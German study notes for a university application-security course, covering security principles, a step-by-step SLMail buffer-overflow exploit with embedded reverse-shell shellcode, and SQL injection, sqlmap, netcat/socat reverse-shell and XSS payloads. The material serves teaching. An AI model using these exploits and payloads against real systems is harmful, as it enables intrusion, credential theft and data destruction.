Anwendungssicherheit

Notes for the Anwendungssicherheit (app security) course at HdM Stuttgart

Jakob Waibel

2022-02-06

1 Introduction

1.1 Contributing

These study materials are heavily based on professor Heuzeroth’s “Anwendungssicherheit” lecture at HdM Stuttgart.

Found an error or have a suggestion? Please open an issue on GitHub (github.com/jakwai01/application-security):

QR code to source repository

If you like the study materials, a GitHub star is always appreciated :)

1.2 License

AGPL-3.0 license badge

Uni App Security Notes (c) 2022 Jakob Waibel and contributors

SPDX-License-Identifier: AGPL-3.0

2 Aufgabe 1: Grundlagen und Schutzziele (1+3+1+1+2 = 8 Punkte)

2.1 Was ist sichere Software?

2.2 Was ist IT-Sicherheit?

Sicherheit ist die Eigenschaft eines Systems, die dadurch gekennzeichnet ist, dass die als bedeutsam angesehen Bedrohungen, die sich gegen die schützenswerten Güter richten, durch besondere Maßnahmen soweit ausgeschlossen sind, dass das verbleibende Risiko akzeptiert wird.

Informationssicherheit ist die Sicherheit von IT-Systemen und ihrer Umgebung gegenüber Bedrohungen von außen, insbesondere gegenüber Angriffe durch Menschen.

2.3 Schutzziele/Sicherheitskriterien

CIA Security Objectives

Weitere Schutzziele

2.4 Sicherheitsaspekte

Aspekte

2.5 Warum Sicherheit?

Fehler können in allen Phasen des Entwicklungsprozesses auftreten (Anforderungen, Architektur, Entwurf, Implementierung, Einsatz)

Kosten der Fehlerbehebung kostet im nach Produktionsauslieferung zwischen 30x-100x im Vergleich zu dem, was es beim Entwurf gekostet hätte

2.5.1 Sicherheitsbegriffe

Bedrohung

Schwachstelle/Sicherheitslücke

Ein Fehler führt zusammen mit einer Bedrohung zu einer Schwachstelle, die durch einen Angriff ausgenutzt werden kann

Angriff = Motiv (Ziele) + Methoden + Schwachstelle

Exploit

2.6 Erforschung von Schwachstellen

2.7 Wo kann man sich über Schwachstellen informieren?

2.8 Wie bestimmt man wie scherwiegend eine Schwachstelle ist?

Fragen, die man sich beim erstellen eines Bewertungssystems fragen solle

2.9 Spannungsfeld von IT-Sicherheit

Spannungsfeld IT-Sicherheit

IT-Sicherheit bewegt sich im Spannungsfeld von Funktionalität und Gebrauchstauglichkeit. Mehr Sicherheit bedeutet in der Regel mehr Einschränkungen und damit weniger Funktionalität und weniger Gebrauchstauglichkeit

2.10 Fazit

3 Aufgabe 2: Thema sicherer Entwurf (3+1 = 4 Punkte)

Entwurfsprinzipien

Manchmal stehen zwei oder mehr Entwurfsprinzipien in Konflikt zueinander. In diesem Fall muss man abwägen, welches im konkreten Fall das wichtigere Prinzip bei der Umsetzung ist. So kann es beispielsweise sinnvoll sein, “Einfachheit (Ökonomie des Mechanismus)” zu Gunsten von “Mehrstufige Verteidigung (Trennung von Privilegien)” zu opfern. Ein anderes Beispiel ist, dass kompliziertere Passwortanforderungen, die psychologische Akzeptanz behindern.

Minimierung der Angriffsfläche

Sichere Vorbelegung

Prinzip des kleinsten Privilegs

Prinzip der mehrstufigen Verteidigung

Sicheres Verhalten bei Fehlern bzw. Ausnahmen

Behandle externe Systeme als unsicher

Pflichtentrennung

Verlasse Dich nicht auf Sicherheit durch Verschleierung

Einfachheit/KISS

Behebe Sicherheitslöcher richtig

Eingabevalidierung/Ausgabekodierung

TODO: Add something here

Sichere das schwächste Glied

Ökonomie des Mechanismus

Vollständige Vermittlung

Kleinster gemeinsamer Mechanismus

Psychologische Akzeptanz

Zurückhaltung bei Vertrauen

Schutz der Privatssphäre

Offener Entwurf

3.1 Stride Flussdiagramm - Entwurfsprinzipien

drawing

3.2 Anwendung des Beispiels auf STRIDE

4 Aufgabe 3: Penetration Test: Buffer Overflow (10 Punkte)

4.1 Was ist ein Buffer Overflow?

Ein Buffer Overflow tritt auf, wenn die Länge von Eingaben nicht überprüft wird.

Bei einem Buffer Overflow überschreitet ein Eingabewert den für ihn im Speicher vorgesehenen Platz und überschreibt dadurch andere wichtige Speicherbereiche. Überschrieben wird typischerweise der Speicherbereich, in dem sich die Rücksprungadresse aus einer aufgerufenen Funktion befindet, da man dadurch als Angreifer den Programmablauf kontrollieren kann.

In folgendem Code kann ein Buffer Overflow auftreten, da die Länge des Inputs nicht geprüft wird:

#include <stdio.h>
#include <string.h>

int main (int argc, char** argv)
{
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0
}

4.2 Wie findet man einen Buffer Overflow?

4.3 Verwendung von Windows Debuggern

4.4 Verhalten des Stacks bei einem Buffer Overflow

drawing

4.5 Vorgehen

4.5.1 Fuzzing/Taking Control of EIP

4.5.2 Bad Characters

4.5.3 Redirect Execution

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4

4.5.4 Schadcode generieren

msfvenom [Optionen] <var=val> (/usr/share/metasploit-framework)

-p <payload> Zu erzeugender Schadcode (payload) Beispiel: `-p windows/shell_reverse_tcp`
-f <format> Ausgabeformat, e.g. c für Ausgabe in Sprache C. --help-formats zeigt verfügbare Formate an
-a <architecture> Zielarchitektur des Schadcodes, z.B. `x86` für 32bit
--platform <platform> Zielplatform des Schadcodes, z.B. `windows`
-b <list> Liste im erzeugten Code zu vermeidender problematischer Zeichen (bad characters).
-e <encoder> Kodierung des Shellcodes, z.B. `x86/shikata_ga_nai`
-l <module_type> Modultyp auflisten. `module_type` kann sein: `payloads`, `encoders`, `nops`, `all`

Problem: Der erzeugte Schadcode enthält zu Beginn den Dekodierer, um den eigentlichen Schadcode aus den Bytes zurückzugewinnen

Abhilfe

buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode + "C" *(3500-2606-4-351-16)

Sonderfall Manchmal passt der Schadcode vom Umfang her nicht mehr in den verfügbaren Speicherplatz ab der Adresse auf die ESP zeigt.

Lösung

4.5.5 Resuliterendes SL-Mail Python-Skript

#!/usr/bin/python

def connect_to_SLMail(ip, buffer):
    """Connecting to SLMail server using provided buffer for password field"""
    import socket
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,110))      # connect to IP, POP3 port
        data=s.recv(1024)                   # receive banner
        print(data)

        s.send('USER root\r\n')             # send username "test"
        data=s.recv(1024)                   # receive reply
        print(data)

        s.send('PASS ' + buffer + '\n\n')   # send password
        data=s.recv(1024)                   # receive reply
        print(data)
        s.send('QUIT\r\n')                  # send "QUIT"
        s.close()
    except:
        print "Could not connect to POP3 port\n"


def fuzz(ip):
    """Fuzzing password field of SLMail server to detect crash"""
    buffer=["A"]
    counter=100
    while len(buffer) <= 30:
        buffer.append("A"*counter)
        counter=counter+200
    for string in buffer:
        print("Fuzzing PASS of {0} with {1} bytes".format(ip, len(string)))
        connect_to_SLMail(ip, string)


def replicate_crash(ip):
    """Replicating the crash using a string of A\'s with the neccessary length"""
    buffer = "A"*2700
    connect_to_SLMail(ip, buffer)


def attack_with_unique_string(ip):
    """Connecting to SLMail server with a unique string created by metasploit's pattern_create.rb script"""
#    Using a unique string to determine where each part of the input is placed on victim machine.
#    Unique string has been created with:
#      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH>
#
#   Offset of string in EIP register can then be determined with:
#      /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <PATTERN>
#
    buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
    connect_to_SLMail(ip, buffer)


def check_values_attack_input(ip):
    """Checking if EIP is filled with captial 'B' letters"""
    buffer="A"*2606 + "B"*4 + "C"*90
    connect_to_SLMail(ip, buffer)


def determine_bad_characters(ip):
    # All hex characters:
    badchars=("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
          "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
          "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
          "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
          "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
          "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
          "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
          "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
          "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
          "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
          "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
          "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
          "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
          "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
          "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    # All acceptable hex characters (\x00, \x0a and \x0d have been removed):
#    badchars=("x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
#          "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
#          "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
#          "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
#          "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
#          "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
#          "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
#          "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
#          "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
#          "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
#          "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
#          "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
#          "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
#          "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
#          "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    buffer='A'*2606 + 'B'*4 + bad_chars + 'C'*(3500-2606-4-255)
    connect_to_SLMail(ip, buffer)


def attack_with_payload(ip):
    """Use a reverse shell payload generated by msfvenom such that victim connects reverse shell to port 443 on 192.168.64.137"""
#   Determine opcode of 'JMP ESP' using
#      /usr/share/metasploit-framework/tools/exploit/nasm_shell
#
#   Opcode is FFE4
#
#  Search for this opcode in the whole slmfc.dll using mona in ImmunityDebugger:
#      !mona find -s '\xff\xe4' -m slmfc.dll
#
#  A suitable address without bad characters is:
#      5F4A358F
#
#  Veriying that this address really holds the "JMP ESP" instruction
#  using the debuggers button for "Go to address in disassembler"
#
#  slmfc is a suitable module, since it is statically loaded to the same memory address
#  and is not protected (No DEP, no ASLR, no NX). This can be confirmed by:
#     !mona modules
#
# Generate reverse shell payload using:
#    /usr/share/metasploit-framework/msfvenom -p windows/shell_reverse_tcp LHOST=192.168.64.137 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
#

    # Address has to be defined in reverse order because of little endian encoding:
    address_of_jmp_esp = '\x8F\x35\x4a\x5F'
    reverse_shell_code = ("\xbb\x4c\xd1\x2d\x04\xdb\xc9\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
                          "\x52\x31\x58\x12\x03\x58\x12\x83\x8c\xd5\xcf\xf1\xf0\x3e\x8d"
                          "\xfa\x08\xbf\xf2\x73\xed\x8e\x32\xe7\x66\xa0\x82\x63\x2a\x4d"
                          "\x68\x21\xde\xc6\x1c\xee\xd1\x6f\xaa\xc8\xdc\x70\x87\x29\x7f"
                          "\xf3\xda\x7d\x5f\xca\x14\x70\x9e\x0b\x48\x79\xf2\xc4\x06\x2c"
                          "\xe2\x61\x52\xed\x89\x3a\x72\x75\x6e\x8a\x75\x54\x21\x80\x2f"
                          "\x76\xc0\x45\x44\x3f\xda\x8a\x61\x89\x51\x78\x1d\x08\xb3\xb0"
                          "\xde\xa7\xfa\x7c\x2d\xb9\x3b\xba\xce\xcc\x35\xb8\x73\xd7\x82"
                          "\xc2\xaf\x52\x10\x64\x3b\xc4\xfc\x94\xe8\x93\x77\x9a\x45\xd7"
                          "\xdf\xbf\x58\x34\x54\xbb\xd1\xbb\xba\x4d\xa1\x9f\x1e\x15\x71"
                          "\x81\x07\xf3\xd4\xbe\x57\x5c\x88\x1a\x1c\x71\xdd\x16\x7f\x1e"
                          "\x12\x1b\x7f\xde\x3c\x2c\x0c\xec\xe3\x86\x9a\x5c\x6b\x01\x5d"
                          "\xa2\x46\xf5\xf1\x5d\x69\x06\xd8\x99\x3d\x56\x72\x0b\x3e\x3d"
                          "\x82\xb4\xeb\x92\xd2\x1a\x44\x53\x82\xda\x34\x3b\xc8\xd4\x6b"
                          "\x5b\xf3\x3e\x04\xf6\x0e\xa9\xeb\xaf\x50\xa0\x84\xad\x50\xb3"
                          "\xef\x3b\xb6\xd9\x1f\x6a\x61\x76\xb9\x37\xf9\xe7\x46\xe2\x84"
                          "\x28\xcc\x01\x79\xe6\x25\x6f\x69\x9f\xc5\x3a\xd3\x36\xd9\x90"
                          "\x7b\xd4\x48\x7f\x7b\x93\x70\x28\x2c\xf4\x47\x21\xb8\xe8\xfe"
                          "\x9b\xde\xf0\x67\xe3\x5a\x2f\x54\xea\x63\xa2\xe0\xc8\x73\x7a"
                          "\xe8\x54\x27\xd2\xbf\x02\x91\x94\x69\xe5\x4b\x4f\xc5\xaf\x1b"
                          "\x16\x25\x70\x5d\x17\x60\x06\x81\xa6\xdd\x5f\xbe\x07\x8a\x57"
                          "\xc7\x75\x2a\x97\x12\x3e\x4a\x7a\xb6\x4b\xe3\x23\x53\xf6\x6e"
                          "\xd4\x8e\x35\x97\x57\x3a\xc6\x6c\x47\x4f\xc3\x29\xcf\xbc\xb9"
                          "\x22\xba\xc2\x6e\x42\xef")
    # To avoid overwriting of the shellcode when it is decoded,
    # 16 NOPs (opcode \x90) have to be inserted at the orginial position
    # of the payload (address where ESP points to).
    buffer='A'*2606 + address_of_jmp_esp + '\x90'*16 + reverse_shell_code + 'C'*(3500-2606-4-351-16)
    print "Attacking SLMail with reverse shell payload"
    connect_to_SLMail(ip, buffer)


if __name__ == "__main__":

    import sys
    ERR_MISSING_ARGUMENT = 1
    ERR_INVALID_FORMAT = 2
    ERR_INVALID_VALUES = 3

    if (len(sys.argv)) != 2:
        print("Usage: {} IPv4-address".format(sys.argv[0]))
        sys.exit(ERR_MISSING_ARGUMENT)

    ip = sys.argv[1]
    octets = ip.split('.')
    if (len(octets) != 4):
        print "Invalid format of IP address"
        sys.exit(ERR_INVALID_FORMAT)

    for o in octets:
        try:
            num = int(o)
        except:
            print "Invalid values in IP address"
            sys.exit(ERR_INVALID_VALUES)

        if (num < 0) or (num > 255):
            print "Invalid values in IP address"
            sys.exit(ERR_INVALID_VALUES)

    ip = octets[0] + '.' + octets[1] + '.' + octets[2] + '.' + octets[3]

    print "Attacking IP " + ip

    # Win7 local VM to attack:
    # ip = 192.168.64.135

#   Fuzzing the SLMail server to find vulnerability
#    fuzz(ip)

#   Replicate the crash using a string with suitable length
#    replicate_crash(ip)

#   Send unique string to determine position of input on victim machine:
#    attack_with_unique_string(ip)

#   Determine which characters result in a truncation of the input in the memory of the victim machine
#    determine_bad_characters(ip)

#   Attack victim machine with reverse shell payload:
    attack_with_payload(ip)

5 Aufgabe 4: Thema Sicherheit von Web-Anwendungen (4+4+3+2 = 13 Punkte)

5.1 Evaluation verschiedener Schutzmechanismen

Firewalls verhindern keine Angriffe über erlaubte Ports

Beispiel: - Angriffe gegen eine Web-Anwendung über das HTTP-Protokoll und TCP-Ports 80/443

Verschlüsselung sichert Integrität der übertragenen Daten, damit werden aber auch Angriffe “sicher” zum Zielsystem übertragen

Beispiel: - Verhindern keine Angriffe gegen Serversysteme auf Anwendungsebene

Frameworks vermeiden Schwachstellen, da sie gut getestet sind, aber sind ein Risiko für den Datenschutz und können Fehler über dependencies einschleusen

Beispiel: - Wenn über CDNs eingebunden wird jeder Aufruf beim Anbieter protokolliert - Laden viele Pakete nach

5.2 Angriffsziele

5.3 OWASP Top 10

OWASP Top 10

5.4 A1: Fehlerhafte Berechtigungsprüfung

5.5 A2: Fehlerhafte Kryptographie

5.6 A3: Injektionen

5.6.1 SQL-Injection

TODO: Add DVWA Code examples TODO: Add Countermeasures + Additional Information from slides

Example: Admin-Login

http://site.com/login.cgi?user=admin'--&password=secret
SELECT * FROM user WHERE user='admin'--' and password='secret'

Example: Benutzer zum Admin machen

Erwarterter Aufruf:

http://site.com/find.cgi?id=42

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE id=42

Aufruf durch Angreifer:

http://site.com/find.cgi?id=42;UPDATE%20USER%20SET%20TYPE="admin"%20WHERE%20id=13

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE id=42; UPDATE USER SET TYPE="admin" WHERE id=13

Example: Ausführen eines Kommandos auf Microsoft SQL Servern

Erwarteter Aufruf:

http://site.com/find.cgi?search=something

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE search LIKE `%something`

Aufruf durch Angreifer:

http://site.com/find.cgi?search=something';GO+EXEC+cmdshell('format+C')+--

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE search LIKE '%something'; GO EXEC cmdshell('format C') --%'

Example: SQL-Injektion durch blindes Vertrauen in Frameworks, z.B. Hibernate Query Language (HQL)

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

Erwarteter Aufruf:

http://site.com/accountView?id=1

Aufruf durch Angreifer:

http://site.com/accountView?id=' or '1'='1

5.6.2 Blind SQL-Injection

sqlmap -u http://192.168.1.42 --crawl=1

Crawl gibt die Tiefe an bis zu der Hyperlinks verfolgt werden sollen.

Sämtliche mögliche Daten aus der Datenbank über verwundene Parameter auslesen:

sqlmap -u http://192.168.1.42/aktion.php?4711 --dbms=mysql --dump --threads=5

dump sorgt für Auslesen der Daten. threads gibt an mit wie vielen Threads gleichzeitig sqlmap arbeiten soll.

sqlmap -u http://192.168.1.42/aktion.php?4711 --dbms=mysql --os-shell
--dbs # Datenbanken auf dem Zielsystem auflisten
--batch # Keine Interaktionen mit dem Nutzer
--level=<LEVEL> # Testtiefe, LEVEL kann die Werte 1 bis 5
--risk=RISK # Risikostufe der durchzuführenden Tests; RISK kann die Werte 1 bis 3 haben
--identify-waf # Web Applications Firewall identifizieren
--tamper=SCRIPT # Web Application Firewall umgehen, e.g --tamper=apostrophemask, apostrophenullencode
--dbms=DBMS # Datenbanksystem nicht automatisch identifizieren, sondern die Angabe von DBMS verwenden
--all # Alle mögliche Informationen automatisch ermitteln, e.g. Datenbank mit Version, Standardtabellen, -splaten, -benutzen etc.

Typisches Vorgehen

5.6.3 SQL-Injection-Demos

Demo #1: SQL-Injection
Provozieren einer Fehlermeldung
'

Auslesen der Datenbankversion
1' UNION SELECT @@version; #
1' UNION SELECT null,@@version; #

Auslesen der Tabellen/Spalten:
' UNION SELECT table_schema,table_name FROM information_schema.tables;#
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'users';#

Auslesen der Benutzertabelle:
' UNION SELECT user,password FROM users;#

Auslesen von Dateien:
' UNION SELECT null,LOAD_FILE('/etc/passwd');#
1' UNION SELECT null,LOAD_FILE('/etc/passwd');#

Demo mit sqlmap:
sqlmap -u "http://opfer/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=6tifu4kbh73mve4auu75gq0133" -p id --string="Surname"

Mögliche Optionen:
-f, --current-db, -D dva –tables, -D dvwa -T users --dump

Demo #2: Blind-SQL-Injection
Demo mit sqlmap:
sqlmap -u "http://opfer/dvwa/vulnerabilities/sqli_blind/index.php?id=1&Submit=submit" --cookie="security=low;PHPSESSID=6tifu4kbh73mve4auu75gq0133" -p id --string=Surname

Mögliche Optionen:
-f, -b, --current-user,--dbs, -D dvwa –tables, -D dvwa -T users --dump

5.6.4 DVWA

Low-Level

'OR '1' = '1' UNION ALL SELECT first_name, password FROM users;#
'OR '1' = '1' UNION ALL SELECT version(), user();#
?id=a'%20UNION%20SELECT%20first_name,%20password%20FROM%20users;--%20-&Submit=Submit

Medium-Level

Escape String but not having quotes around parameter

?id=a%20UNION%20SELECT%20first_name,%20password%20FROM%20users;--%20-&Submit=Submit

5.6.5 Gegenmaßnahmen

5.6.6 Command Injection

Einschleusen von Befehlen, die direkt vom Betriebssystem verarbeitet werden.

Um zu prüfen, welche der Anwendungen installiert ist, kann which verwendet werden e.g. which socat.

Netcat:

nc -lnvp 4242 # Listener
;nc -e /bin/sh 10.0.0.1 4242 # Victim

Socat:

socat -dd TCP4-LISTEN:4443 STDOUT # Listener
;socat TCP4:10.0.0.1:4443 EXEC:/bin/bash

5.6.7 Cross-Site Scripting (XSS)

Einschleusen von “schadhaftem” Skriptcode in den Browser des Opfers. Charakteristisch ist, dass der Schadcode im Kontext und mit Zugriffsrechten des Opfers ausgeführt wird.

Reflektiertes XSS

Benutzereingabe wird vom Server direkt zurückgegeben e.g. Suchergebnisse (Ihre Suche war: )

Normaler Aufruf:

http://searchengine.com?query=Suchbegriff
Sie suchten nach: Suchbegriff

Angriff:

http://searchengine.com?query=
<script">alert("XSS")</script>
Sie suchten nach: <sript ...>...</script>

Persistentes Cross-Site Scripting

Skriptcode wird dauerhaft innerhalb der Anwendung gespeichert (z.B. bei Foren, Gästebüchern, MySpace)

Angriff:

http://guestbook.com?entry=Tolle%20Seite!<script>
alert("XSS")</script>

Ergebnis:

Tolle Seite!<script">alert("XSS")</script>

Lokales (DOM-basiertes) Cross-Site Scripting

Beispiel:

<h1>Welcome!</h1>
Hi
<script>
  var pos = document.URL.indexOf("name=") + 5;
  document.write(document.URL.substring(pos, document.URL.length));
</script>
<br />
Welcome to our system...

Normaler Aufruf:

http://site.com/welcome.html?name=John

Angriff:

